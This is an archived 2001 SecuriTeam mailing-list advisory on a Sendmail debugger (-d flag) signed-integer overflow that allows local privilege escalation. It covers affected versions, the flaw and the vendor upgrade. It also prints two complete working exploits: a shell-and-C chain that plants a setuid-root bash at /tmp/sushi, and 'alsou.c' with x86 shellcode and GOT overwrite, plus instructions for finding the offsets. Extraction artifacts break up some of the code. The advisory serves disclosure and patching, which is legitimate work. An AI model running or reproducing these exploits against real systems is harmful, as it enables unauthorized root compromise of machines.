

[UNIX] Sendmail Debugger Vulnerability Leads to Arbitrary Code Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-08/0101.html>

From: support@securiteam.com

Date: 08/27/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [UNIX] Sendmail Debugger Vulnerability Leads to Arbitrary Code Execution

Message-Id: <20010827170250.5F1A2138BF@mail.der-keiler.de>

Date: Mon, 27 Aug 2001 19:02:50 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Sendmail Debugger Vulnerability Leads to Arbitrary Code Execution

SUMMARY

Sendmail suffers from an input validation vulnerability that may lead to the execution of arbitrary code with elevated privileges.

DETAILS

Vulnerable systems:

Sendmail versions 8.12beta7, 8.12beta5, 8.12beta16, 8.12beta12, 8.12beta10, 8.11.5, 8.11.4, 8.11.3, 8.11.2, 8.11.1, and 8.11

Impact:

Local users may be able to write arbitrary data to process memory, possibly allowing the execution of code/commands with elevated privileges.

Technical description:

An input validation error exists in Sendmail's debugging functionality.

The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied

Securiteam: [UNIX] Sendmail Debugger Vulnerability Leads to Arb

from the command line with the '-d' switch and writing the values to its internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector.

Before the vector is written to, a check is performed to ensure that the supplied index value is not greater than the size of the vector. However, because a signed integer comparison is used, it is possible to bypass the check by supplying the signed integer equivalent of a negative value. This may allow an attacker to write data to anywhere within a certain range of locations in process memory.

Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment.

Attack scenarios:

An attacker with local access must determine the memory offsets of the program's internal tDvect variable and the location to which he or she wishes to have data written.

The attacker must construct in architecture specific binary code the commands (or 'shellcode') to be executed with higher privilege. The attacker must then run the program, using the '-d' flag to overwrite a function return address with the location of the supplied shellcode.

Solution:

Below is a statement from the Sendmail Consortium regarding this issue:

This vulnerability, present in Sendmail open source versions between 8.11.0 and 8.11.5 has been corrected in 8.11.6. Sendmail 8.12.0.Beta users should upgrade to 8.12.0.Beta19. The problem was not present in 8.10 or earlier versions. However, as always, we recommend using the latest version. Note that this problem is not remotely exploitable. Additionally, Sendmail 8.12 will no longer uses a set-user-id root binary by default.

Updated packages that rectify this issue are available from the vendor:

For Sendmail Consortium Sendmail 8.11:

Sendmail Consortium upgrade Sendmail 8.11.6

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>>

<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>

For Sendmail Consortium Sendmail 8.11.1:

Sendmail Consortium upgrade Sendmail 8.11.6

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>>

<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>

For Sendmail Consortium Sendmail 8.11.2:

Sendmail Consortium upgrade Sendmail 8.11.6

Securiteam: [UNIX] Sendmail Debugger Vulnerability Leads to Arb

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>

For Sendmail Consortium Sendmail 8.11.3:

Sendmail Consortium upgrade Sendmail 8.11.6

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>

For Sendmail Consortium Sendmail 8.11.4:

Sendmail Consortium upgrade Sendmail 8.11.6

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>

For Sendmail Consortium Sendmail 8.11.5:

Sendmail Consortium upgrade Sendmail 8.11.6

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz>

For Sendmail Consortium Sendmail 8.12beta10:

Sendmail Consortium upgrade Sendmail` 8.12.0 Beta19

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>

For Sendmail Consortium Sendmail 8.12beta12:

Sendmail Consortium upgrade Sendmail 8.12.0 Beta19

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>

For Sendmail Consortium Sendmail 8.12beta16:

Sendmail Consortium upgrade Sendmail 8.12.0 Beta19

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>

For Sendmail Consortium Sendmail 8.12beta5:

Sendmail Consortium upgrade Sendmail 8.12.0 Beta19

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>

For Sendmail Consortium Sendmail 8.12beta7:

Sendmail Consortium upgrade Sendmail 8.12.0 Beta19

<<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>>
<ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz>

Exploit:

--- gen ---

TMPDIR=/tmp/sx1

SHELL=/bin/bash

EXECUTABLE=\$TMPDIR/owned

cp -f /bin/bash \$TMPDIR/sushi

Securiteam: [UNIX] Sendmail Debugger Vulnerability Leads to Arb

```
umask 022
mkdir -p $TMPDIR
chmod 777 $TMPDIR
```

```
cat <<_MUX_>/tmp/x
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$\* \${#local} \$: \$1
Mlocal, P=$EXECUTABLE, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
    T=DNS/RFC822/X-Uix, A=$EXECUTABLE
_MUX_
```

```
---- owned.c ---- int main() { setuid(0); setgid(0);
chown("/tmp/sushi", 0, 0); chmod("/tmp/sushi", 04755); }
```

```
---- xp.c ---- /* simple sendmail -d pokes generator by LucySoft.
```

default offsets for slack 7.0 sendmail 8.11.2 redhat linux 7.1 address = 0x080ca160 in order to get offsets for sendmail you should look for some code like the following /sendmail/trace.c

```
... 0x8080688 <tTflag+196>: mov 0x80b21f8,%edi 0x808068e <tTflag+202>: dec %edi 0x808068f
<tTflag+203>: mov %edi,0xffffffff8(%ebp) 0x8080692 <tTflag+206>: jmp 0x808069d <tTflag+217>
0x8080694 <tTflag+208>: mov 0x80b21f4,%eax ^^^^^^^^^^^^ this is the ConfFile ptr that will be overwritten
to point to the beginning of the debug array after you found this, in gdb just x/4x 0x802b1f4 and you got the
address... redhat has stripped exe, and the machine code is using different registers, but it's a piece of cake to
find this objdump -d /usr/sbin/sendmail > sm.asm and then search for something like this mov
%cl,(%edi,%eax,1) 0x8080699 <tTflag+213>: mov %bl,(%esi,%eax,1) 0x808069c <tTflag+216>: inc %esi
0x808069d <tTflag+217>: cmp 0xffffffff8(%ebp),%esi 0x80806a0 <tTflag+220>: jle 0x8080694
<tTflag+208> 0x80806a2 <tTflag+222>: mov (%edx),%al 0x80806a4 <tTflag+224>: inc %edx 0x80806a5
<tTflag+225>: test %al,%al .....
```

```
*/
```

```
#include <stdio.h>
```

```
char* strcf = "/tmp/x"; char str[1000]; char tmp[100]; char* user="root"; unsigned long ConfFile =
0x80b9ae0; unsigned long offset = 19816;
```

```
int main(int argc, char* argv[]) { int k, shift; unsigned long a, ax;
```

```
k = 1; while (k < argc) { if (!(strcmp(argv[k], "-offset"))) && (k + 1 < argc) { offset = atol(argv[k+1]);
printf("** offset=%d\n", offset); k += 2; continue; }
```

Securiteam: [UNIX] Sendmail Debugger Vulnerability Leads to Arb

```
if ((!strcmp(argv[k], "-address")) && (k + 1 < argc)) { sscanf(argv[k + 1], "%lx", &ConfFile); printf("*
address=%x\n", ConfFile); k += 2; continue; } k++;
}

strcpy(str, "echo | /usr/sbin/sendmail ");

for (k = 0; (k < strlen(strcf)) && (k < 100); k++) { sprintf(tmp, "-d%d.%d ", k, strcf[k]); strcat(str, tmp); }

shift = 0; for (k = 0; k < 4; k++) { a = ((unsigned long)ConfFile >> shift) & 0x000000ff; ax = 4294967295 -
offset + k + 1;

sprintf(tmp, "-d%lu.%d ", ax, a); strcat(str, tmp); shift += 8; }

strcat(str, user); strcat(str, "\n");

printf(str); system(str); printf("you should have /tmp/sushi suid if everything worked fine...\n"); } ----

---- xpl ----

#!/bin/bash

/gen gcc -o /tmp/sx1/owned owned.c gcc -o sxpl xp.c /sxpl ls -la /tmp/sushi

----
```

Another exploit code: /* * alsou.c * * sendmail-8.11.x linux x86 exploit * * To use this exploit you should know two numbers: VECT and GOT. * Use gdb to find the first: * * \$ gdb -q /usr/sbin/sendmail * (gdb) break tTflag * Breakpoint 1 at 0x8080629 * (gdb) r -d1-1.1 * Starting program: /usr/sbin/sendmail -d1-1.1 * Breakpoint 1, 0x8080629 in tTflag () * (gdb) disassemble tTflag * * 0x80806ea <tTflag+202>: dec %edi * 0x80806eb <tTflag+203>: mov %edi,0xffffffff(%ebp) * 0x80806ee <tTflag+206>: jmp 0x80806f9 <tTflag+217> * 0x80806f0 <tTflag+208>: mov 0x80b21f4,%eax * ^^^^^^^^^^^^^^^^^^^^^ address of VECT * 0x80806f5 <tTflag+213>: mov %bl,(%esi,%eax,1) * 0x80806f8 <tTflag+216>: inc %esi * 0x80806f9 <tTflag+217>: cmp 0xffffffff(%ebp),%esi * 0x80806fc <tTflag+220>: jle 0x80806f0 <tTflag+208> * * (gdb) x/x 0x80b21f4 * 0x80b21f4 <tTvect>: 0x080b9ae0 * ^^^^^^^^^^^^^^^^^ VECT * * Use objdump to find the second: * \$ objdump -R /usr/sbin/sendmail |grep setuid * 0809e07c R_386_JUMP_SLOT setuid * ^^^^^^^^^ GOT * * Probably you should play with OFFSET to make exploit work. * * Constant values, written in this code found for sendmail-8.11.4 * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and * GOT = 0x0809e07c. * * To get r00t type ./alsou and then press Ctrl+C. * * * grange <grange@rt.mipt.ru> * */ #include <sys/types.h> #include <stdlib.h>

```
#define OFFSET 1000 #define VECT 0x080baf20 #define GOT 0x0809f544
```

```
#define NOPNUM 1024
```

```
char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh";
```

```
unsigned int get_esp() { __asm__("movl %esp,%eax"); }
```

Securiteam: [UNIX] Sendmail Debugger Vulnerability Leads to Arb

```
int main(int argc, char *argv[]) { char *egg, s[256], tmp[256], *av[3], *ev[2]; unsigned int got = GOT, vect = VECT, ret, first, last, i;
```

```
egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5); if (egg == NULL) { perror("malloc()"); exit(-1); }  
sprintf(egg, "EGG="); memset(egg + 4, 0x90, NOPNUM); sprintf(egg + 4 + NOPNUM, "%s", shellcode); ret  
= get_esp() + OFFSET;
```

```
sprintf(s, "-d"); first = -vect - (0xffffffff - got + 1); last = first; while (ret) { i = ret & 0xff; sprintf(tmp,  
"%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = '\0';
```

```
av[0] = "/usr/sbin/sendmail"; av[1] = s; av[2] = NULL; ev[0] = egg; ev[1] = NULL; execve(*av, av, ev); }
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:cairnsc@securityfocus.com> Cade Cairns,
<mailto:grange@rt.mipt.ru> Alexander Yurchenko, and <mailto:luci@warp.transart.ro> Lucian Hudin.

=====

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[TOOL] IIS Lockdown Tool"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)